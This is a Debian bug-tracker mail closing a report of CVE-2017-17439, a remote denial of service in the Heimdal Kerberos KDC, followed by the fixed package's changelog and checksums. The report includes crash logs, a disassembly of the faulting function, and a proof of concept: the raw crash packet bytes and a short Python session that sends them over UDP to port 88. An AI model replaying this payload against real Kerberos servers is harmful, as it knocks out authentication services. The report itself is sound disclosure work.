Your message dated Fri, 15 Dec 2017 03:05:33 +0000 with message-id <e1epgjz-00075y...@fasolo.debian.org> and subject line Bug#878144: fixed in heimdal 7.5.0+dfsg-1 has caused the Debian Bug report #878144, regarding CVE-2017-17439: Remote unauthenticated DoS in Heimdal-KDC 7.1 to be marked as done.
This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 878144: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878144 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
--- Begin Message ---Package: heimdal-kdc Version: 7.1.0+dfsg-13+deb9u1 amd64 Severity: important We are running heimdal-kdc 7.1.0+dfsg-13+deb9u1 amd64 shipped with Debian stretch for our Domain and have discovered several crashes in the past few months. Investigation showed that dmesg contained several logs about segfaults: [Fr Jun 23 12:07:17 2017] kdc[14596]: segfault at 18 ip 00007f65c02ef5d0 sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000] [Di Jun 27 21:37:26 2017] kdc[10087]: segfault at 18 ip 00007f65c02ef5d0 sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000] [Mo Jul 3 16:18:39 2017] kdc[2656]: segfault at 18 ip 00007fa27ec105d0 sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000] [So Jul 9 08:55:39 2017] kdc[6092]: segfault at 18 ip 00007fa27ec105d0 sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000] [Di Jul 11 13:06:14 2017] kdc[28993]: segfault at 18 ip 00007fb9dccda5d0 sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000] [Di Jul 11 23:39:40 2017] kdc[32211]: segfault at 18 ip 00007fb9dccda5d0 sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000] [Sa Jul 15 13:20:17 2017] kdc[6902]: segfault at 18 ip 00007fb76d5ef5d0 sp 00007ffc22a84078 error 4 in libasn1.so.8.0.0[7fb76d568000+a7000] [Fr Jul 21 12:17:37 2017] kdc[9219]: segfault at 18 ip 00007fdfcbf2b5d0 sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000] [So Jul 23 21:10:59 2017] kdc[26977]: segfault at 18 ip 00007fdfcbf2b5d0 sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000] [So Aug 6 12:06:04 2017] kdc[26494]: segfault at 18 ip 00007f342c8d35d0 sp 00007fff8ae39088 error 4 in libasn1.so.8.0.0[7f342c84c000+a7000] [Di Aug 15 15:21:41 2017] kdc[28412]: segfault at 18 ip 00007f4780b605d0 sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000] [Mi Aug 16 08:46:13 2017] kdc[5166]: segfault at 18 ip 00007f4780b605d0 sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000] [Di Aug 29 04:01:58 2017] kdc[5268]: segfault at 18 ip 00007f31fdd065d0 sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000] [Fr Sep 1 16:56:57 2017] kdc[13396]: segfault at 18 ip 00007f31fdd065d0 sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000] [Mo Sep 11 20:10:45 2017] kdc[16093]: segfault at 18 ip 00007f8a096715d0 sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000] [Di Sep 12 13:46:17 2017] kdc[24683]: segfault at 18 ip 00007f8a096715d0 sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000] The heimdal-kdc log gave us additional information: lofar log # zgrep "AS-REQ malformed client name" heimdal-kdc.log* heimdal-kdc.log:2017-09-11T20:10:46 AS-REQ malformed client name from IPv4:80.82.77.139 heimdal-kdc.log:2017-09-12T13:46:18 AS-REQ malformed client name from IPv4:185.100.87.246 heimdal-kdc.log.2.gz:2017-08-29T04:01:59 AS-REQ malformed client name from IPv4:71.6.135.131 heimdal-kdc.log.2.gz:2017-09-01T16:56:58 AS-REQ malformed client name from IPv4:34.208.25.133 heimdal-kdc.log.4.gz:2017-08-15T15:21:41 AS-REQ malformed client name from IPv4:96.126.127.61 heimdal-kdc.log.4.gz:2017-08-16T08:46:13 AS-REQ malformed client name from IPv4:71.6.158.166 heimdal-kdc.log.5.gz:2017-08-06T12:06:05 AS-REQ malformed client name from IPv4:71.6.167.142 The KDC was directly reachable over the Internet - those IPs do not belong to us but seemed to send packets crashing our master or our slave (we observed the same there). While waiting to capture one of those packets and reproduce the issues, my colleague Thomas Kittel located the part of the code responsible for the crash: * RIP in libasn1.so.0 (relativ) 0x875d0. * "der_length_visible_string@@HEIMDAL_ASN1_1.0" ____________________________ 875d0: 48 8b 3f mov rdi,QWORD PTR [rdi] 875d3: e9 e8 83 f9 ff jmp 1f9c0 <strlen@plt> 875d8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 875df: 00 ____________________________ * Source: https://github.com/heimdal/heimdal/blob/master/lib/asn1/der_length.c size_t der_length_visible_string (const heim_visible_string *data) { return strlen(*data); } As quickfix, he supposed to include a NULL check (which we did not test yet): if(!data) return 0; We managed to get our hands on one of the payloads (c.f. attachments). It seems to be a syntactically valid Kerberos message (see decoded_der.txt) with nonsense values but nothing obviously looking like attempts to inject shellcode or abuse any vulnerability. I attached the raw bytes of the complete packet as well as the raw bytes of the Kerberos message only. Replaying the payload lead to reproducible crashes (steps to reproduce attached) and since we see these packets at least since June (symptoms for over a year) there seem to be people making use of this in the wild. We do currently not know if the packets are only DoS attempts or if the crashes are only side effects of more severe attacks like leaks or code execution. We enabled the firewall to drop Kerberos packets coming from the Internet, but there may be others suffering from these attacks. We believe that this is a upstream bug. I tried to contact the developers via PGP-encrypted mail but they did not react. If there are any open questions, please do not hesitate to contact us! Best regards, Michael Ederfrom pyasn1.codec.der.decoder import decode as der_decode with open("/tmp/krb_crash_only_krb_packet.bin", "rb") as f: derdata=f.read() data = der_decode(derdata)[0] print data Sequence( componentType=NamedTypes(), tagSet=TagSet( (), Tag(tagClass=0, tagFormat=32, tagId=16), Tag(tagClass=64, tagFormat=32, tagId=10) ) ).setComponents( Integer( 5, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2), Tag(tagClass=128, tagFormat=32, tagId=1) ) ), Integer( 10, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2), Tag(tagClass=128, tagFormat=32, tagId=2) ) ), Sequence( componentType=NamedTypes(), tagSet=TagSet( (), Tag(tagClass=0, tagFormat=32, tagId=16), Tag(tagClass=128, tagFormat=32, tagId=4) ) ).setComponents( BitString( "'01010000100000000000000000010000'B", tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=3), Tag(tagClass=128, tagFormat=32, tagId=0) ) ), GeneralString( 'NM', tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=27), Tag(tagClass=128, tagFormat=32, tagId=2) ) ), Sequence( componentType=NamedTypes(), tagSet=TagSet( (), Tag(tagClass=0, tagFormat=32, tagId=16), Tag(tagClass=128, tagFormat=32, tagId=3) ) ).setComponents( Integer( 0, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2), Tag(tagClass=128, tagFormat=32, tagId=0) ) ), Sequence( componentType=NamedTypes(), tagSet=TagSet( (), Tag(tagClass=0, tagFormat=32, tagId=16), Tag(tagClass=128, tagFormat=32, tagId=1) ) ).setComponents( GeneralString( 'krbtgt', tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=27) ) ), GeneralString( 'NM', tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=27) ) ) ) ), GeneralizedTime( '19700101000000Z', tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=24), Tag(tagClass=128, tagFormat=32, tagId=5) ) ), Integer( 522107353, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2), Tag(tagClass=128, tagFormat=32, tagId=7) ) ), Sequence( componentType=NamedTypes(), tagSet=TagSet( (), Tag(tagClass=0, tagFormat=32, tagId=16), Tag(tagClass=128, tagFormat=32, tagId=8) ) ).setComponents( Integer( 18, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ), Integer( 17, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ), Integer( 16, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ), Integer( 23, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ), Integer( 1, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ), Integer( 3, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ), Integer( 2, tagSet=TagSet( (), Tag(tagClass=0, tagFormat=0, tagId=2) ) ) ) ) )krb_crash.bin
Description: Binary datakrb_crash_only_krb_packet.bin
Description: Binary dataIn [1]: import socket In [2]: UDP_HOST = "lofar.fs.tum.de" In [3]: UDP_PORT = 88 In [4]: with open("krb_crash_only_krb_packet.bin", "rb") as crashfile: ...: PAYLOAD = crashfile.read() ...: In [5]: print(PAYLOAD) b'j\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81^0\\\xa0\x07\x03\x05\x00P\x80\x00\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\x00\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x170\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02' In [6]: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) In [7]: s.sendto(PAYLOAD, (UDP_HOST, UDP_PORT)) Out[7]: 113 /var/log/heimdal-kdc.log:2017-09-19T20:15:15 AS-REQ malformed client name from IPv4:<myIP>signature.asc
Description: OpenPGP digital signature
--- End Message ---
--- Begin Message ---Source: heimdal Source-Version: 7.5.0+dfsg-1 We believe that the bug you reported is fixed in the latest version of heimdal, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 878...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Dominik George <n...@naturalnet.de> (supplier of updated heimdal package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Format: 1.8 Date: Fri, 15 Dec 2017 01:13:04 +0100 Source: heimdal Binary: heimdal-docs heimdal-kdc heimdal-multidev heimdal-dev heimdal-clients heimdal-kcm heimdal-servers libheimbase1-heimdal libasn1-8-heimdal libkrb5-26-heimdal libhdb9-heimdal libkadm5srv8-heimdal libkadm5clnt7-heimdal libgssapi3-heimdal libkafs0-heimdal libroken18-heimdal libotp0-heimdal libsl0-heimdal libkdc2-heimdal libhx509-5-heimdal libheimntlm0-heimdal libwind0-heimdal libhcrypto4-heimdal Architecture: source amd64 all Version: 7.5.0+dfsg-1 Distribution: unstable Urgency: high Maintainer: Brian May <b...@debian.org> Changed-By: Dominik George <n...@naturalnet.de> Description: heimdal-clients - Heimdal Kerberos - clients heimdal-dev - Heimdal Kerberos - development files heimdal-docs - Heimdal Kerberos - documentation heimdal-kcm - Heimdal Kerberos - KCM daemon heimdal-kdc - Heimdal Kerberos - key distribution center (KDC) heimdal-multidev - Heimdal Kerberos - Multi-implementation Development heimdal-servers - Heimdal Kerberos - server programs libasn1-8-heimdal - Heimdal Kerberos - ASN.1 library libgssapi3-heimdal - Heimdal Kerberos - GSSAPI support library libhcrypto4-heimdal - Heimdal Kerberos - crypto library libhdb9-heimdal - Heimdal Kerberos - kadmin server library libheimbase1-heimdal - Heimdal Kerberos - Base library libheimntlm0-heimdal - Heimdal Kerberos - NTLM support library libhx509-5-heimdal - Heimdal Kerberos - X509 support library libkadm5clnt7-heimdal - Heimdal Kerberos - kadmin client library libkadm5srv8-heimdal - Libraries for Heimdal Kerberos libkafs0-heimdal - Heimdal Kerberos - KAFS support library libkdc2-heimdal - Heimdal Kerberos - KDC support library libkrb5-26-heimdal - Heimdal Kerberos - libraries libotp0-heimdal - Heimdal Kerberos - OTP support library libroken18-heimdal - Heimdal Kerberos - roken support library libsl0-heimdal - Heimdal Kerberos - SL support library libwind0-heimdal - Heimdal Kerberos - stringprep implementation Closes: 850723 868157 878144 Changes: heimdal (7.5.0+dfsg-1) unstable; urgency=high . * New upstream version. (Closes: #850723) + CVE-2017-17439: Remote unauthenticated DoS in Heimdal-KDC 7.4 (Closes: #878144, #868157) + Refresh patches. * Bump Standards-Version to 4.1.2 and compat level to 10. + Remove explicit reference to dh-autoreconf. * Use uscan to get orig source. + Refrain from mangling some bundled RFC texts; just exclude the mas they are not installed into any binary anyway. + Update d/copyright to DEP-5. + Can now use standard uscan/gbp/pristine-tar workflow. * Fix some lintian errors/warnings. + Strip trailing whitespace from changelog. + Fix some duplicate long descriptions. + Use optional priority everywhere. + Update/remove some overrides. + Enforce set -e in maintainer scripts. + Enable hardening. * Migrate to -dbgsym. * Add myself to uploaders. Checksums-Sha1: 2cebb3987b936bcef04fc112ac46b2ced1f07a0d 3674 heimdal_7.5.0+dfsg-1.dsc 1ba39f71a5627a23afbc8b987362831bed764f7d 8955005 heimdal_7.5.0+dfsg.orig.tar.gz c7ca4e66f33aae8e217f1f6a6c30e3b5d153f672 125776 heimdal_7.5.0+dfsg-1.debian.tar.xz 6d0e1a99ff4610efee38980fe33fe67880a8cb16 543424 heimdal-clients-dbgsym_7.5.0+dfsg-1_amd64.deb ed6aa9f6744a3704dc9be4c6a82caea636297706 182960 heimdal-clients_7.5.0+dfsg-1_amd64.deb 927e921e74580f522fea17780ad49a6aa1c69670 140784 heimdal-dev_7.5.0+dfsg-1_amd64.deb 0d7a29f92753d4e7ad02ef404ff19ebc55d85104 106584 heimdal-docs_7.5.0+dfsg-1_all.deb a6fbf8cb1d7dae4b171f8a47a78886359b0e4170 101660 heimdal-kcm-dbgsym_7.5.0+dfsg-1_amd64.deb c6845991006f6fcafad413d7ee0ace217a6d868f 55316 heimdal-kcm_7.5.0+dfsg-1_amd64.deb 22090a3d011d31a605a5b0c1458c0d9b311fba15 395240 heimdal-kdc-dbgsym_7.5.0+dfsg-1_amd64.deb a3e53d022eba13e5402ee526fcd89cda10178727 130100 heimdal-kdc_7.5.0+dfsg-1_amd64.deb 67c96a3febfd3dd32cd967da97fb1ac8eb13c66d 160420 heimdal-multidev-dbgsym_7.5.0+dfsg-1_amd64.deb a8ef23f3b89828f66eda2fc4993f12449a243fcb 1173320 heimdal-multidev_7.5.0+dfsg-1_amd64.deb 79d146cb498c479ad14fa27ab051d28429f981a0 16568 heimdal-servers-dbgsym_7.5.0+dfsg-1_amd64.deb 191debce9285269821d0f739eceac9c0de6da746 35384 heimdal-servers_7.5.0+dfsg-1_amd64.deb 0894990213b0ec7f32ba90d470e12374ad6ff903 20606 heimdal_7.5.0+dfsg-1_amd64.buildinfo 5b36d98ac8a10ceb6233bd63dedf91417717bd7b 608316 libasn1-8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 895bd1bd53a38ff3f4582c24872cfa800dd83456 205340 libasn1-8-heimdal_7.5.0+dfsg-1_amd64.deb add77d66d53594f48bf60b7655fed02cca99edf9 650480 libgssapi3-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 0b8420bbbfb318532615b03d86d78876bd0e11fb 122344 libgssapi3-heimdal_7.5.0+dfsg-1_amd64.deb 030332164de77b7816f9545f994ce085e894d32f 228944 libhcrypto4-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 5e0b2e5131b01ae12ae7b6fdb93aea5fcc43915c 112536 libhcrypto4-heimdal_7.5.0+dfsg-1_amd64.deb 2b9c259abb2a4d63a1f7dd3c35f9ad40c13279d9 256956 libhdb9-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb e39e297380220df00604a5f9d4395e11354a4ec0 90228 libhdb9-heimdal_7.5.0+dfsg-1_amd64.deb cb9b90e9cd087753a8f592720770f9fd165116e5 75020 libheimbase1-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 805711bf8a8d3d23598051cfc415ce7e9d3bc3f6 53836 libheimbase1-heimdal_7.5.0+dfsg-1_amd64.deb 0fe0d90b8b8e5bc237aca84a4a2362d05db26164 30572 libheimntlm0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb d8069b1e2a6cbc5a772f6b9bb3a74782bbf992c0 40492 libheimntlm0-heimdal_7.5.0+dfsg-1_amd64.deb d0c0408be2b56444e082145113534e97e6c0606f 396880 libhx509-5-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 8030303d6123b670475712d04d3110699984b47f 134220 libhx509-5-heimdal_7.5.0+dfsg-1_amd64.deb 112d7d1de3b4da7cf9a87be34f050f8b972b4358 80244 libkadm5clnt7-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 58f34ca50e25f6753bc8df8589ceb6fd695cbbf5 44160 libkadm5clnt7-heimdal_7.5.0+dfsg-1_amd64.deb 79cf59b7dcf0288983e677da4df8fb9e7bf64c53 174016 libkadm5srv8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 53298a7b7967e1eb2da0a7736ce2a3f44bf0a40d 60504 libkadm5srv8-heimdal_7.5.0+dfsg-1_amd64.deb b3e9cf73c8aae91f2f78981ee1f86ebd658fee5c 46824 libkafs0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 959cf25451e39d6766359fc0e02d1c524f01b5b2 41292 libkafs0-heimdal_7.5.0+dfsg-1_amd64.deb 7787d669fa571b2ad66d1ce59b171b8bff5b868a 237056 libkdc2-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb cc3d643d58e08ace75967b02439a617809526d4a 81524 libkdc2-heimdal_7.5.0+dfsg-1_amd64.deb 3f821b5d04e89749b4fb84053c31441b2a4f3c77 1139168 libkrb5-26-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 50e7c030ff09cef147248db0bbc41531f280bcf6 234040 libkrb5-26-heimdal_7.5.0+dfsg-1_amd64.deb 2c2ab1a1ccfd98e70d1d85ad6538c1870f050027 65764 libotp0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 0a650f2bdbb9bd45ee167180703f9f4737640d9f 55444 libotp0-heimdal_7.5.0+dfsg-1_amd64.deb cf2af553afff7dcce3f53c3368c3597b232ab169 129756 libroken18-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb a9f126b08ed15f445759af5441fcb668935e5000 66076 libroken18-heimdal_7.5.0+dfsg-1_amd64.deb 7793bf55ffb61d14a4f8b31466409f5d27d2ac0d 22948 libsl0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 2c920cea3fcb4f75f543604cfb2f7fb034abfaf7 37188 libsl0-heimdal_7.5.0+dfsg-1_amd64.deb d6d8b9b13fe016422bdd363286ee0492fda84c73 26944 libwind0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 9102ebf7c770388083e37795a349d1110440dee7 73992 libwind0-heimdal_7.5.0+dfsg-1_amd64.deb Checksums-Sha256: 98ce6bf21ac01400ec10a3620fe3c047da4cf63269f521ba96c59bbcaed822bf 3674 heimdal_7.5.0+dfsg-1.dsc 489119b7a1a900b88163765654dc59cba9a321b078fafc76629e2b85ef140867 8955005 heimdal_7.5.0+dfsg.orig.tar.gz 7ad6c3f3968989ff06181409e1515a3feaf5a630d27ade7f2f018c9241f8c225 125776 heimdal_7.5.0+dfsg-1.debian.tar.xz eb68a9bef68b0e874f576971b251b6096263a5772f3a6526e2cd8e1d82a9bf2d 543424 heimdal-clients-dbgsym_7.5.0+dfsg-1_amd64.deb 14fe3a54a3a013488d93cd8666e605c1aac3d8879344467ec68c56af75a80f71 182960 heimdal-clients_7.5.0+dfsg-1_amd64.deb 97677be226e6bb7c71d24082e99a5354b3c3413f67147f5d953e1365948887f5 140784 heimdal-dev_7.5.0+dfsg-1_amd64.deb 50bee2c6ee0a84d1e504bf27e9898d11ee3b161c15b03215f415a63db97dab80 106584 heimdal-docs_7.5.0+dfsg-1_all.deb bbaa3ec06ebd3939d1cd342afaceea4033cd8d8bbd38e8288d20d4714fa649b0 101660 heimdal-kcm-dbgsym_7.5.0+dfsg-1_amd64.deb c0cb7795991461f8cd9bb465b2e6e6bf79013a1965f61425692b1a665abea748 55316 heimdal-kcm_7.5.0+dfsg-1_amd64.deb 7af743e56803e74576915a5283798c0f7ef048c787e791f24d464c99b0f13e43 395240 heimdal-kdc-dbgsym_7.5.0+dfsg-1_amd64.deb d6d90b400000b54bcdfb32f6912e8812b47ed52a1d49d91436d886b0088e6f87 130100 heimdal-kdc_7.5.0+dfsg-1_amd64.deb 3665fde42c06a712225831c1e7609dad243655eba5a5a1f1f354a8bc695c8ef2 160420 heimdal-multidev-dbgsym_7.5.0+dfsg-1_amd64.deb 77738bf0da5bfc032999fef7ad9aa6f312220e9ae04d08b5214fcb529c8b4f73 1173320 heimdal-multidev_7.5.0+dfsg-1_amd64.deb ea4dbffbf497594b7e2fa5836dca6592a71a335c095a2e5d5d377da8bde45af2 16568 heimdal-servers-dbgsym_7.5.0+dfsg-1_amd64.deb d21ca4337160c8db15fcf753a82e9fcc1a59a794c4bee5555eda85b5219017c5 35384 heimdal-servers_7.5.0+dfsg-1_amd64.deb 87536f256e7da258cbb3f9768e452106520dccafeee39c07a17e0d9150f01467 20606 heimdal_7.5.0+dfsg-1_amd64.buildinfo 4ca779e5211ba59b30770ac783b6372c823f9bd0d409f8125b51f82aafdfbc83 608316 libasn1-8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 0dfdbf724d163663f5520f794d6363ee437fd47d1a4606dffa90a9843186bf8f 205340 libasn1-8-heimdal_7.5.0+dfsg-1_amd64.deb 2b73df857e504e654f9cc64fe7fc1e595ef56c787d7aa0f7886a87fb33b5978b 650480 libgssapi3-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 4e1f482a383f7549571c6afc7dbd203da457ae55ec3f7b19bab469d0e271f6e9 122344 libgssapi3-heimdal_7.5.0+dfsg-1_amd64.deb e0055e369717bd376e17a505b52af1b7437b74a598f56fe11da846298468742e 228944 libhcrypto4-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 5da5023759a3b96163d7c98925e17c1ba19f85081a4b9ce2240b5137fcdeada5 112536 libhcrypto4-heimdal_7.5.0+dfsg-1_amd64.deb 49f2bc4dccba85c1d1c98f663dc7a625683b89f0eaf4c28f581a66c984194814 256956 libhdb9-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 1781f17abe94bc8f24f47f99b137a8bdeda4641ed118610b577ba5f0b96ce4d4 90228 libhdb9-heimdal_7.5.0+dfsg-1_amd64.deb a710d8cf135312a556962452721b14fa68e6957b5456110c25e502345237e01f 75020 libheimbase1-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 0ce743cb4b2388a12f5143e71bf346f80fcedd34eb612373cd720feec15dc26a 53836 libheimbase1-heimdal_7.5.0+dfsg-1_amd64.deb 9a8c6985e9fecc558f2a19818f7bd7b24cdb119730c15869ab0f14a9acbc6251 30572 libheimntlm0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb e320e089b4946cfd91fcccc111b9148f1c7eb4eea5443f4896a8cc7e61ae9172 40492 libheimntlm0-heimdal_7.5.0+dfsg-1_amd64.deb ac7afe0fa07fe5b71f30b6422e87ea8f087585189e73c398447796c750d9ed4d 396880 libhx509-5-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 285e21edbe268fcc90c02303f5d64c1b91a074268847949efa31f50830402b30 134220 libhx509-5-heimdal_7.5.0+dfsg-1_amd64.deb 3580855e22df074520823d04d21db9070f09246ae3fff2debd8916343acfeb92 80244 libkadm5clnt7-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 0f7b17db91c45e50650f2a38685041ade06f214feef15ff49593c36d9f77fca3 44160 libkadm5clnt7-heimdal_7.5.0+dfsg-1_amd64.deb dff422b18004001c0096f05b0a4c93150af1c4d1554e0be99bf0354cf4ab18b3 174016 libkadm5srv8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 8da093a2e0319706c720d74a89ab6a6629ca7508a01d64fb536db28673486ae1 60504 libkadm5srv8-heimdal_7.5.0+dfsg-1_amd64.deb 546473af3a4a33c1bc74e6608a7cdcca818b167ec54043b7c55f84a99bc212f3 46824 libkafs0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 965094f90a33186d0232c8d1647d0f1b076e4aaca2d6085eb2525f9d6e9c1470 41292 libkafs0-heimdal_7.5.0+dfsg-1_amd64.deb 541a6c0987c4d89c63b08063c0370517ce0b535857a0de96aaf72584738aa59c 237056 libkdc2-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 7eb1dd5e56b3e51b9d8fbc9560dc58eb4541d8e06fff7c446883a7429fb0e13c 81524 libkdc2-heimdal_7.5.0+dfsg-1_amd64.deb bde4e8ece4d98cfa7dd1c14b2fd07a333c16f234a3c12ddffa7ba870ef464b9d 1139168 libkrb5-26-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb bda3a1f72210722e7166105137150c5046caaf526e635e5ba3d9a16ba27a1fc2 234040 libkrb5-26-heimdal_7.5.0+dfsg-1_amd64.deb cfbed9dda4a930555ea6381bab0b2c0bbdc6165e97088f0c51527206b602cbaa 65764 libotp0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 6559c76c6f87ca72dafc069a4e84f0179f9405fb436c41f29f23ee3c46b2025d 55444 libotp0-heimdal_7.5.0+dfsg-1_amd64.deb 01e783c91f62f62fa83c873af2edd9c033764daad6b74e36446dd047e5ab6977 129756 libroken18-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 62797ccb86fc5bd572d840b743c208080eae0c4088e1fcc120a2667591f20d01 66076 libroken18-heimdal_7.5.0+dfsg-1_amd64.deb 4a58652d82e1c31377c67faa9d3da37990add97462452da368d78dd1c431370e 22948 libsl0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 353ad1afaf5328158e5cf521ecac54c80f4f97e7624c8fea659f5d77d31acf29 37188 libsl0-heimdal_7.5.0+dfsg-1_amd64.deb df5be2827ad43335f36e348967b07839b7ffa7276d55661e326148db6e7d01d5 26944 libwind0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb b71f69567c343ba55e9c17a3ac2df8b39c1a62b2dbe3c3b7adfe6a20e0a9e341 73992 libwind0-heimdal_7.5.0+dfsg-1_amd64.deb Files: 1e7f08d6d923a4fc853606185418b921 3674 net optional heimdal_7.5.0+dfsg-1.dsc b45b9d03cdd4f3288e79feba99e13a51 8955005 net optional heimdal_7.5.0+dfsg.orig.tar.gz ce5fbebc2e23fca3f6ea2fd2a47e3714 125776 net optional heimdal_7.5.0+dfsg-1.debian.tar.xz eedf21d0a98aa0f0eca99505edfcb961 543424 debug optional heimdal-clients-dbgsym_7.5.0+dfsg-1_amd64.deb b412c647cf740a8daf73e900b7dd56fd 182960 net optional heimdal-clients_7.5.0+dfsg-1_amd64.deb 3135a1e02250d850924496e34f5c725c 140784 devel optional heimdal-dev_7.5.0+dfsg-1_amd64.deb 92b7787b0e4e3d01ae7291464c29b42d 106584 doc optional heimdal-docs_7.5.0+dfsg-1_all.deb bfaef794c145c2912a37ba5846b1ce04 101660 debug optional heimdal-kcm-dbgsym_7.5.0+dfsg-1_amd64.deb d9e3fc1cd3cb3b9be5804793f2c5c1ab 55316 net optional heimdal-kcm_7.5.0+dfsg-1_amd64.deb a18c9fe2f1cc52849db2e182a37ad1f5 395240 debug optional heimdal-kdc-dbgsym_7.5.0+dfsg-1_amd64.deb f8e837b1cac7d5246bc735039e75df45 130100 net optional heimdal-kdc_7.5.0+dfsg-1_amd64.deb df7d8e0beb2512af284e33606966200c 160420 debug optional heimdal-multidev-dbgsym_7.5.0+dfsg-1_amd64.deb 61ee86204bbb2c69e78df040f7d14a40 1173320 devel optional heimdal-multidev_7.5.0+dfsg-1_amd64.deb a0c6a35e9afb6b5ce19d3297f4dbeb81 16568 debug optional heimdal-servers-dbgsym_7.5.0+dfsg-1_amd64.deb 8d7bd210c837428d28c54138f3770fb8 35384 net optional heimdal-servers_7.5.0+dfsg-1_amd64.deb 7a1690091ad4dac3e4220c2619ff7f93 20606 net optional heimdal_7.5.0+dfsg-1_amd64.buildinfo c6f78b5e715f4276f2dfe36a91263704 608316 debug optional libasn1-8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 4cc8c9f107c70b84af8841997069ad6d 205340 libs optional libasn1-8-heimdal_7.5.0+dfsg-1_amd64.deb 76e3662c5decf1f91869fba3d4e5038f 650480 debug optional libgssapi3-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 3ee2ad5c84c1cfbb01ed956285b523d0 122344 libs optional libgssapi3-heimdal_7.5.0+dfsg-1_amd64.deb 40ad70cc790917501acc0444f8a9c77a 228944 debug optional libhcrypto4-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 43e9d027620ee392ff6e54db0381892e 112536 libs optional libhcrypto4-heimdal_7.5.0+dfsg-1_amd64.deb 